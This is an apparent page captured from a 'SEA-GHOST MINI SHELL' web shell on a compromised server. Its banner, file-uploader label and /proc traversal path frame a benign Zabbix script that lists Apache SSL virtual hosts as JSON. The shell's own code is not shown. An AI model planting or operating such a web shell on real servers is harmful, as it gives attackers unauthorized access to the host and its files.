[ SEA-GHOST MINI SHELL]

Path : /proc/2/cwd/proc/self/root/proc/self/root/proc/2/task/2/cwd/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/2/cwd/proc/self/root/proc/self/root/proc/2/task/2/cwd/var/lib/zabbix/vhost-ssl_discovery.sh

#!/bin/bash

first=1
#echo -ne "{\n";
echo -ne "{ \"data\" : [\n";

for LINE in `dir /etc/apache2/sites-enabled/`
{
        vhost=`echo ${LINE}|awk '{print $1}'`
        ssl=`cat /etc/apache2/sites-enabled/$vhost | grep "<VirtualHost .*:443"| awk '{print $2}'|sed 's/>//g'`
        common=`cat /etc/apache2/sites-enabled/$vhost | grep "DocumentRoot .*commonengine.*"`
   if [ ! -z "$ssl" -a -z "$common" ]; then
     if [ $ssl == "*:443" ]; then
       ssl="127.0.0.1:443"
     fi
        domain=`cat /etc/apache2/sites-enabled/$vhost | grep "ServerName" | awk {'print $2'}`

        if [ $first == 0 ]; then echo -ne ",\n";
        fi
        first=0

        echo -ne "{"
        echo -ne " \"{#DOMAIN}\" : \"$domain\" , \"{#BACKEND}\" : \"$ssl\" ";
        echo -ne " }"
   fi
}

echo -ne " ]";
echo -ne " }\n";

SEA-GHOST - SHELL CODING BY SEA-GHOST